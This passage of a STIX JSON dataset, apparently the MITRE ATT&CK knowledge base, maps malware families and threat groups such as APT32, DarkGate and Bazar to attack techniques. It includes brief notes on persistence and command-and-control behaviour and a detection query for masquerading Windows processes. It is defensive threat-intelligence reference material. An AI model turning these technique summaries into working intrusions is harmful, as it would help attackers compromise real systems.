"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. 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Retrieved May 12, 2020."}], "modified": "2020-05-15T18:47:04.424Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) used LZ compression to compress initial reconnaissance reports before sending to the C2.(Citation: FOX-IT May 2016 Mofang)\t", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70b1afda-98b8-4c7c-ad41-ceb2b45af5d4", "type": "relationship", "created": "2021-10-14T16:29:19.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. 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Retrieved September 22, 2021."}], "modified": "2021-10-14T16:29:19.187Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used <code>reg.exe</code> to create a Registry Run key.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70b27780-b19a-4313-88ea-1038ce0fc386", "type": "relationship", "created": "2021-02-09T14:35:39.641Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secure List Bad Rabbit", "url": "https://securelist.com/bad-rabbit-ransomware/82851/", "description": "Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}], "modified": "2021-05-04T19:28:12.850Z", "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) can enumerate all running processes to compare hashes.(Citation: Secure List Bad Rabbit)", "relationship_type": "uses", "source_ref": "malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70b2e51a-c5c4-48af-8f9c-112a4854e18d", "type": "relationship", "created": "2020-11-09T16:28:37.544Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-09T16:28:37.544Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) can launch itself via DLL Search Order Hijacking.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70b511c9-5a2c-4810-87b6-73dfc648ec29", "type": "relationship", "created": "2020-06-23T19:03:15.337Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-07-26T22:49:23.251Z", "description": "Anti-virus can be used to automatically quarantine suspicious files. ", "relationship_type": "mitigates", "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--70b67b3f-7706-41aa-8330-58323a8553fc", "created": "2024-04-10T15:16:26.458Z", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:16:26.458Z", "description": "(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70b94aa6-7cf1-4cf5-b00b-aed156036f1e", "type": "relationship", "created": "2020-06-11T16:18:16.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.400Z", "description": "[Avenger](https://attack.mitre.org/software/S0473) has the ability to decrypt files downloaded from C2.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}], "modified": "2020-03-16T18:30:14.861Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used legitimate local admin account credentials.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70bed654-4c16-456a-8691-4f2bf1c916cc", "type": "relationship", "created": "2021-05-26T15:09:52.202Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}], "modified": "2021-06-08T13:29:06.848Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) can execute <code>getinfo</code>  to identify the username on a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--70c0fd33-8091-4e58-896b-0be55429ee91", "created": "2022-05-05T17:50:25.030Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use DNS in communication with C2.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T17:50:25.030Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--70c290d2-6dfc-47bf-9901-c320798989fb", "created": "2024-02-14T20:39:43.549Z", "revoked": false, "external_references": [{"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T20:39:43.550Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) executes a Windows Batch script during installation that creases a randomly-named directory in the <code>C:\\\\</code> root directory that copies and renames the legitimate Windows <curl>curl</code> command to this new location.(Citation: Trellix Darkgate 2023)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70c29cd1-53a2-48a6-8f94-515e7812013b", "type": "relationship", "created": "2021-03-01T21:23:22.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-01T21:23:22.795Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has collected the victim host information after infection.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--70c5c2c4-9971-42d8-a94a-8b46ffec3a80", "created": "2023-08-11T20:52:30.473Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T18:01:46.927Z", "description": "Monitor for newly executed processes that may match or approximate the name or location of legitimate files or resources when naming/placing them. Looks for mismatches between process names and their image paths.Malware authors often use this technique to hide malicious executables behind legitimate Windows executable names (e.g.\u00a0lsass.exe,\u00a0svchost.exe, etc).\nThere are several sub-techniques, but this analytic focuses on\u00a0[Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)\u00a0only.\n\nNote: With process monitoring, hunt for processes matching these criteria:\n\n- process name is\u00a0svchost.exe,\u00a0smss.exe,\u00a0wininit.exe,\u00a0taskhost.exe, etc.\n- process path is not\u00a0C:\\Windows\\System32\\\u00a0or\u00a0C:\\Windows\\SysWow64\\\n\nExamples (true positive):\nC:\\Users\\administrator\\svchost.exe\n\nTo make sure the rule doesn\u2019t miss cases where the executable would be started from a sub-folder of these locations, the entire path is checked for the process path. The below example should be considered as suspicious: C:\\Windows\\System32\\srv\\svchost.exe\n\nAnalytic 1 - Common Windows Process Masquerading\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")\nAND ( (Image=svchost.exe AND (image_path!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\" OR process_path!=\"C:\\\\Windows\\\\SysWow64\\\\svchost.exe\"))\n  OR (Image=\"*smss.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\smss.exe\")\n  OR (Image=\"wininit.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\")\n  OR (Image=\"taskhost.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\taskhost.exe\")\n  OR (Image=\"lasass.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\lsass.exe\")\n  OR (Image=\"winlogon.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\")\n  OR (Image=\"csrss.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\csrss.exe\")\n  OR (Image=\"services.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\services.exe\")\n  OR (Image=\"lsm.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\lsm.exe\")\n  OR (Image=\"explorer.exe\" AND image_path!=\"C:\\\\Windows\\\\explorer.exe\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--70c9262b-0a90-4c78-ba50-b968aa056246", "created": "2022-04-28T16:06:49.395Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for abnormal process creations, such as a Command and Scripting Interpreter spawning from a potentially exploited application. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes.", "modified": "2022-04-28T16:06:49.395Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--70ceb05c-ed86-4b51-bde0-2455662c30b7", "created": "2022-02-01T15:11:34.836Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MSTIC Nobelium Oct 2021", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: MSTIC Nobelium Oct 2021)", "modified": "2022-04-13T14:35:36.904Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Cobalt Group Nov 2017", "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"}, {"source_name": "RiskIQ Cobalt Jan 2018", "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", "url": "https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"}, {"source_name": "Group IB Cobalt Aug 2017", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "url": "https://www.group-ib.com/blog/cobalt"}, {"source_name": "PTSecurity Cobalt Dec 2016", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}, {"source_name": "PTSecurity Cobalt Group Aug 2017", "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"}, {"source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. 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Retrieved October 2, 2020."}], "modified": "2020-12-16T16:12:01.522Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate files and directories.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70fe7f39-41de-4d7d-b691-4ac17c1a4c58", "type": "relationship", "created": "2020-12-29T16:20:28.476Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). 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MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. 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Retrieved October 27, 2021."}], "modified": "2022-02-04T18:39:20.848Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) collected email addresses belonging to various departments of a targeted organization which were used in follow-on phishing campaigns.(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7105dbb9-fcb2-41f7-a740-a19d539758fb", "type": "relationship", "created": "2020-08-17T14:08:26.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. 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(2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. 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(2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "Zscaler Bazar September 2020", "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}], "modified": "2020-11-30T16:01:32.332Z", "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader is used to download and execute the [Bazar](https://attack.mitre.org/software/S0534) backdoor.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7121357f-cc91-4e6b-a2a6-d8bb51bf4a01", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2020-03-16T16:08:55.688Z", "description": "[Rancor](https://attack.mitre.org/groups/G0075) launched a scheduled task to gain persistence using the <code>schtasks /create /sc</code> command.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. 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Retrieved September 24, 2019."}], "modified": "2022-01-07T14:55:27.932Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can create Registry entries to enable services to run.(Citation: Talos ZxShell Oct 2014)", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca", "type": "relationship", "created": "2017-05-31T21:33:27.053Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "description": "Baumgartner, K., Golovkin, M.. (2015, May). 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Retrieved October 11, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "source_name": "FireEye FIN7 Oct 2019"}], "modified": "2019-10-11T16:13:19.711Z", "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) hooks several Win32 API functions to hijack elements of the remote system management user-interface.(Citation: FireEye FIN7 Oct 2019)", "relationship_type": "uses", "source_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}, {"description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "source_name": "ESET OceanLotus Mar 2019"}, {"source_name": "ESET OceanLotus macOS April 2019", "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."}], "modified": "2020-06-19T20:04:12.444Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, [APT32](https://attack.mitre.org/groups/G0050) has used a random value to modify the timestamp of the file storing the clientID.(Citation: FireEye APT32 May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71abba24-84a2-449d-811a-ba006382d723", "type": "relationship", "created": "2020-06-12T16:15:04.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}], "modified": "2020-06-16T23:17:21.069Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can store collected documents in a custom container after encrypting and compressing them using RC4 and WinRAR.(Citation: Eset Ramsay May 2020)", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--71aca8ff-1ac7-4d62-b388-ef4605cf8d4b", "created": "2022-04-22T18:49:20.528Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "", "modified": "2022-04-22T18:49:20.528Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", "target_ref": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": 